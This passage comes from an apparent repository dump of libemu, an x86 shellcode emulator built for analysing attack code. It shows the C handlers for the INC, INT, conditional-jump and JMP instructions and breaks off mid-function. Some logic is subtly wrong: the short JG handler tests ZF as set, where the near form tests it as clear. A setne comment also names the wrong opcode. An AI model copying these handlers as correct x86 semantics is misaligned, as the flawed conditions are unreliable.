\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tsz++;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \\\n\t|| sz != (INTOF(bits))operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_of);                                                \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_of);                                              \\\n\t}                                                                           \\\n}\n\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 341*/\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a)\t\\\nINSTR_CALC(bits, a)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_OF(cpu,bits)\t\t\t\t\t\t\t\t\n\n\n\n\nint32_t instr_inc_4x(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 40+ rw \n\t\t * Increment word register by 1\n\t\t * INC r16 \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->opc & 7])\n\t}else\n\t{\n\t\t/* 40+ rd \n\t\t * Increment doubleword register by 1\n\t\t * INC r32 \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->opc & 7])\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_group_4_fe_inc(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* FE /0\n\t * INC r/m8 \n\t * Increment r/m byte by 1\n\t */\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, c, dst)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm])\n\t}\n\treturn 0;\n}\n\n\t  \nint32_t instr_group_5_ff_inc(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* FF /0 \n\t\t\t * Increment r/m word by 1\n\t\t\t * INC r/m16 \n\t\t\t */   \n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, c, dst)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* FF /0 \n\t\t\t * Increment r/m doubleword by 1\n\t\t\t * INC r/m32 \n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, c, dst)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}   \n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* FF /0 \n\t\t\t * Increment r/m word by 1\n\t\t\t * INC r/m16 \n\t\t\t */   \n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm])\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* FF /0 \n\t\t\t * Increment r/m doubleword by 1\n\t\t\t * INC r/m32 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm])\n\t\t}   \n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/int.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_string.h\"\n\nint32_t instr_int_cd(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\treturn 0;\n}\n\n\n"
  },
  {
    "path": "src/functions/jcc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n#define OF_IS_ONE(cpu)  (CPU_FLAG_ISSET(cpu, f_of) != 0) \n#define OF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_of) == 0)\n#define OF_IS(cpu)      (CPU_FLAG_ISSET(cpu, f_of)?1:0) \n \n#define CF_IS_ONE(cpu)  (CPU_FLAG_ISSET(cpu, f_cf) != 0) \n#define CF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_cf) == 0) \n\n#define ZF_IS_ONE(cpu)  (CPU_FLAG_ISSET(cpu, f_zf) != 0) \n#define ZF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_zf) == 0) \n\n#define SF_IS_ONE(cpu)  (CPU_FLAG_ISSET(cpu, f_sf) != 0) \n#define SF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_sf) == 0) \n#define SF_IS(cpu)      (CPU_FLAG_ISSET(cpu, f_sf)?1:0) \n\n#define PF_IS_ONE(cpu)  (CPU_FLAG_ISSET(cpu, f_pf) != 0) \n#define PF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_pf) == 0) \n\n\nint32_t instr_jcc_70(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 70 cb       Jump short if overflow (OF=1)                           JO rel8         */\n\tif (OF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\treturn 0;\n}\n\nint32_t instr_jcc_71(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 71 cb       Jump short if not overflow (OF=0)                       JNO rel8        */\n\tif (OF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\treturn 0;\n}\n\nint32_t instr_jcc_72(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_cf);\n\n\t/* 72 cb       Jump short if below (CF=1)                              JB rel8         */\n\t/* 72 cb       Jump short if carry (CF=1)                              JC rel8         */\n\t/* 72 cb       Jump short if not above or equal (CF=1)                 JNAE rel8       */\n\tif (CF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\treturn 0;\n}\n\nint32_t instr_jcc_73(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_cf);\n\n\t/* 73 cb       Jump short if above or equal (CF=0)                     JAE rel8        */\n\t/* 73 cb       Jump short if not below (CF=0)                          JNB rel8        */\n\t/* 73 cb       Jump short if not carry (CF=0)                          JNC rel8        */\n\tif (CF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_setcc_0f94(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n    uint8_t b;\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\tb = ZF_IS_ONE(c) ? 1 : 0;\n\n\t/* 0f 94 sete r/m8 Set byte if equal (ZF = 1) */\n\tif (i->modrm.mod != 3) {\n\t    MEM_BYTE_WRITE(c, i->modrm.ea, b);\n\t} else {\n\t    *c->reg8[i->modrm.rm] = b;\n\t    TRACK_INIT_REG8(c->instr, i->modrm.rm);\n\t}\n\treturn 0;\n}\n\nint32_t instr_setcc_0f95(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n    uint8_t b;\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\tb = ZF_IS_ZERO(c) ? 1 : 0;\n\n\t/* 0f 94 setne r/m8 Set byte if not equal (ZF = 0) */\n\tif (i->modrm.mod != 3) {\n\t    MEM_BYTE_WRITE(c, i->modrm.ea, b);\n\t} else {\n\t    *c->reg8[i->modrm.rm] = b;\n\t    TRACK_INIT_REG8(c->instr, i->modrm.rm);\n\t}\n\treturn 0;\n}\n\nint32_t instr_jcc_74(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t/* 74 cb       Jump short if equal (ZF=1)                              JE rel8         */\n\t/* 74 cb       Jump short if zero (ZF = 1)                             JZ rel8         */\n\tif (ZF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_75(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t/* 75 cb       Jump short if not equal (ZF=0)                          JNE rel8        */\n\t/* 75 cb       Jump short if not zero (ZF=0)                           JNZ rel8        */\n\tif (ZF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_76(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_cf);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t/* 76 cb       Jump short if below or equal (CF=1 or ZF=1)             JBE rel8        */\n\t/* 76 cb       Jump short if not above (CF=1 or ZF=1)                  JNA rel8        */\n\tif (CF_IS_ONE(c) || ZF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_77(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_cf);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n    /* 77 cb       Jump short if above (CF=0 and ZF=0)                     JA rel8         */\n\t/* 77 cb       Jump short if not below or equal (CF=0 and ZF=0)        JNBE rel8       */\n\tif (CF_IS_ZERO(c) && ZF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\n\n\treturn 0;\n}\n\nint32_t instr_jcc_78(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\n\t/* 78 cb       Jump short if sign (SF=1)                               JS rel8         */\n\tif (SF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_79(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\n\t/* 79 cb       Jump short if not sign (SF=0)                           JNS rel8        */\n\tif (SF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_7a(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_pf);\n\n\t/* 7A cb       Jump short if parity even (PF=1)                        JPE rel8        */\n\t/* 7A cb       Jump short if parity (PF=1)                             JP rel8         */\n\tif (PF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_7b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_pf);\n\n\t/* 7B cb       Jump short if not parity (PF=0)                         JNP rel8        */\n\t/* 7B cb       Jump short if parity odd (PF=0)                         JPO rel8        */\n\tif (PF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\n\n\treturn 0;\n}\n\nint32_t instr_jcc_7c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 7C cb       Jump short if less (SF<>OF)                             JL rel8         */\n\t/* 7C cb       Jump short if not greater or equal (SF<>OF)             JNGE rel8       */\n\tif (SF_IS(c) != OF_IS(c))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\n\n\treturn 0;\n}\n\nint32_t instr_jcc_7d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 7D cb       Jump short if greater or equal (SF=OF)                  JGE rel8        */\n\t/* 7D cb       Jump short if not less (SF=OF)                          JNL rel8        */\n\tif (SF_IS(c) == OF_IS(c))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_7e(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 7E cb       Jump short if less or equal (ZF=1 or SF<>OF)            JLE rel8        */\n\t/* 7E cb       Jump short if not greater (ZF=1 or SF<>OF)              JNG rel8        */\n\tif ( ZF_IS_ONE(c) || (SF_IS(c) != OF_IS(c)))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\n\n\treturn 0;\n}\n\nint32_t instr_jcc_7f(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 7F cb       Jump short if greater (ZF=0 and SF=OF)                  JG rel8         */\n\t/* 7F cb       Jump short if not less or equal (ZF=0 and SF=OF)        JNLE rel8       */\n\tif ( ZF_IS_ONE(c) && (SF_IS(c) == OF_IS(c)))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_e3(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\t\n\n\t/* E3 cb       Jump short if CX register is 0                          JCXZ rel8       */\n\t/* E3 cb       Jump short if ECX register is 0                         JECXZ rel8      */\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\tTRACK_NEED_REG16(c->instr, cx);\n\t\tif (*c->reg16[cx] == 0)\n\t\t{\n\t\t\tc->eip += i->disp;\t\t\n\t\t}\n\t}else\n\t{\n\t\tTRACK_NEED_REG32(c->instr, ecx);\n\t\tif (c->reg[ecx] == 0)\n\t\t{\n\t\t\tc->eip += i->disp;\t\t\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f80(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 0F 80 cw/cd  Jump near if overflow (OF=1)                           JO rel16/32     */\n\tif (OF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f81(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 0F 81 cw/cd  Jump near if not overflow (OF=0)                       JNO rel16/32    */\n\tif (OF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f82(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_cf);\n\n\t/* 0F 82 cw/cd  Jump near if below (CF=1)                              JB rel16/32     */\n\t/* 0F 82 cw/cd  Jump near if carry (CF=1)                              JC rel16/32     */\n\t/* 0F 82 cw/cd  Jump near if not above or equal (CF=1)                 JNAE rel16/32   */\n\tif (CF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f83(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_cf);\n\n\t/* 0F 83 cw/cd  Jump near if above or equal (CF=0)                     JAE rel16/32    */\n\t/* 0F 83 cw/cd  Jump near if not below (CF=0)                          JNB rel16/32    */\n\t/* 0F 83 cw/cd  Jump near if not carry (CF=0)                          JNC rel16/32    */\n\tif (CF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f84(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t/* 0F 84 cw/cd  Jump near if equal (ZF=1)                              JE rel16/32     */\n\t/* 0F 84 cw/cd  Jump near if zero (ZF=1)                               JZ rel16/32     */\n\tif (ZF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f85(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t/* 0F 85 cw/cd  Jump near if not equal (ZF=0)                          JNE rel16/32    */\n\t/* 0F 85 cw/cd  Jump near if not zero (ZF=0)                           JNZ rel16/32    */\n\tif (ZF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f86(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_cf);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t/* 0F 86 cw/cd  Jump near if below or equal (CF=1 or ZF=1)             JBE rel16/32    */\n\t/* 0F 86 cw/cd  Jump near if not above (CF=1 or ZF=1)                  JNA rel16/32    */\n\tif (CF_IS_ONE(c) || ZF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f87(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_cf);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t/* 0F 87 cw/cd  Jump near if above (CF=0 and ZF=0)                     JA rel16/32     */\n\t/* 0F 87 cw/cd  Jump near if not below or equal (CF=0 and ZF=0)        JNBE rel16/32   */\n\tif (CF_IS_ZERO(c) && ZF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\t\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f88(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\n\t/* 0F 88 cw/cd  Jump near if sign (SF=1)                               JS rel16/32     */\n\tif (SF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f89(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\n\t/* 0F 89 cw/cd  Jump near if not sign (SF=0)                           JNS rel16/32    */\n\tif (SF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f8a(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_pf);\n\n\t/* 0F 8A cw/cd  Jump near if parity even (PF=1)                        JPE rel16/32    */\n\t/* 0F 8A cw/cd  Jump near if parity (PF=1)                             JP rel16/32     */\n\tif (PF_IS_ONE(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f8b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_pf);\n\n\t/* 0F 8B cw/cd  Jump near if not parity (PF=0)                         JNP rel16/32    */\n\t/* 0F 8B cw/cd  Jump near if parity odd (PF=0)                         JPO rel16/32    */\n\tif (PF_IS_ZERO(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f8c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 0F 8C cw/cd  Jump near if less (SF<>OF)                             JL rel16/32     */\n\t/* 0F 8C cw/cd  Jump near if not greater or equal (SF<>OF)             JNGE rel16/32   */\n\tif (SF_IS(c) != OF_IS(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f8d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 0F 8D cw/cd  Jump near if greater or equal (SF=OF)                  JGE rel16/32    */\n\t/* 0F 8D cw/cd  Jump near if not less (SF=OF)                          JNL rel16/32    */\n\tif (SF_IS(c) == OF_IS(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f8e(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 0F 8E cw/cd  Jump near if less or equal (ZF=1 or SF<>OF)            JLE rel16/32    */\n\t/* 0F 8E cw/cd  Jump near if not greater (ZF=1 or SF<>OF)              JNG rel16/32    */\n\tif (ZF_IS_ONE(c) || SF_IS(c) != OF_IS(c))\n\t{\n\t\tc->eip += i->disp;\t\t\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_jcc_0f8f(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\tTRACK_NEED_EFLAG(c->instr, f_sf);\n\tTRACK_NEED_EFLAG(c->instr, f_of);\n\n\t/* 0F 8F cw/cd  Jump near if greater (ZF=0 and SF=OF)                  JG rel16/32     */\n\t/* 0F 8F cw/cd  Jump near if not less or equal (ZF=0 and SF=OF)        JNLE rel16/32   */\n\tif (ZF_IS_ZERO(c) && SF_IS(c) == OF_IS(c))\n\t{\n\t\tc->eip += i->disp;\n\t}\n\n\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/jmp.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\nint32_t instr_jmp_e9(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t\n\n\t/* E9 cw  \n\t * Jump near, relative, displacement relative to next instruction         \n\t * JMP rel16    \n\t */\n\n\n\t/* E9 cd  \n\t * Jump near, relative, displacement relative to next instruction         \n\t * JMP rel32    \n\t */\n\n\tc->eip += i->disp;\n\n\tSOURCE_NORM_POS(c->instr, c->eip);\n\n\treturn 0;\n}\n\n\nint32_t instr_jmp_ea(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* EA cd  \n\t * Jump far, absolute, address given in operand                           \n\t * JMP ptr16:16 \n\t */\n\n\n\t/* EA cp  \n\t * Jump far, absolute, address given in operand                           \n\t * JMP ptr16:32 \n\t */\n\n\tUNIMPLEMENTED(c, SST);\n\n}\n\nint32_t instr_jmp_eb(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* EB cb  \n\t * Jump short, relative, displacement relative to next instruction        \n\t * JMP rel8     \n\t */\n\n    c->eip += i->disp;\n\n\tSOURCE_NORM_POS(c->instr, c->eip);\n\n\treturn 0;\n}\n\n\nint32_t instr_group_5_ff_jmp(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif( i->modrm.opc == 4 )\n\t{\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tif( i->prefixes & PREFIX_OPSIZE )\n\t\t\t{\n\t\t\t\t/* FF /4  \n\t\t\t\t * Jump near, absolute indirect, address given in r/m16                   \n\t\t\t\t * JMP r/m16    \n\t\t\t\t */\n\n\t\t\t\tuint16_t disp;\n\t\t\t\tMEM_WORD_READ(c, i->modrm.ea, &disp);\n\t\t\t\t\n\t\t\t\tc->eip = disp;\n\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/* FF /4  \n\t\t\t\t * Jump near, absolute indirect, address given in r/m32                   \n\t\t\t\t * JMP r/m32    \n\t\t\t\t */\n\n\t\t\t\tuint32_t disp;\n\t\t\t\tMEM_DWORD_READ(c, i->modrm.ea, 